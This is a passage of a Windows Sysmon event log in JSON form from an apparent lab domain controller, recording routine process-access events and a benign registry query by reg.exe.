C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2627,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-4010-5F2D-0000-0010897B0400}\r\nSourceProcessId: 5072\r\nSourceThreadId: 5092\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4010-5F2D-0000-0010817D0400}\r\nTargetProcessId: 5116\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-4010-5F2D-0000-0010897B0400}","SourceProcessId":"5072","SourceThreadId":"5092","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4010-5F2D-0000-0010817D0400}","TargetProcessId":"5116","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2628,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.985\r\nProcessGuid: {90617006-4010-5F2D-0000-0010417E0400}\r\nProcessId: 4136\r\nImage: C:\\Windows\\System32\\reg.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Registry Console Tool\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: reg.exe\r\nCommandLine: C:\\Windows\\system32\\reg.exe query hklm\\software\\microsoft\\windows\\softwareinventorylogging /v collectionstate /reg:64\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=59A22FA6CF85026BB6BC69A1ADD75C50,SHA256=9E28034CE3AEEA6951F790F8997DF44CFBF80BEFF9FB17413DBA317016A716AD,IMPHASH=EE7EB7FA7D163340753B7223ADA14352\r\nParentProcessGuid: {90617006-4010-5F2D-0000-0010817D0400}\r\nParentProcessId: 5116\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\system32\\reg.exe query hklm\\software\\microsoft\\windows\\softwareinventorylogging /v collectionstate /reg:64","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.985","ProcessGuid":"{90617006-4010-5F2D-0000-0010417E0400}","Image":"C:\\Windows\\System32\\reg.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Registry Console Tool","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"reg.exe","CommandLine":"C:\\Windows\\system32\\reg.exe query hklm\\software\\microsoft\\windows\\softwareinventorylogging /v collectionstate /reg:64","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=59A22FA6CF85026BB6BC69A1ADD75C50,SHA256=9E28034CE3AEEA6951F790F8997DF44CFBF80BEFF9FB17413DBA317016A716AD,IMPHASH=EE7EB7FA7D163340753B7223ADA14352","ParentProcessGuid":"{90617006-4010-5F2D-0000-0010817D0400}","ParentProcessId":"5116","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\system32\\reg.exe query hklm\\software\\microsoft\\windows\\softwareinventorylogging /v collectionstate /reg:64","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2629,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-4010-5F2D-0000-0010817D0400}\r\nSourceProcessId: 5116\r\nSourceThreadId: 4120\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-4010-5F2D-0000-0010417E0400}\r\nTargetProcessId: 4136\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-4010-5F2D-0000-0010817D0400}","SourceProcessId":"5116","SourceThreadId":"4120","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-4010-5F2D-0000-0010417E0400}","TargetProcessId":"4136","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2630,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4010-5F2D-0000-0010417E0400}\r\nTargetProcessId: 4136\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4010-5F2D-0000-0010417E0400}","TargetProcessId":"4136","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2631,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2632,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2633,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2634,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.986","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2635,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.986\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 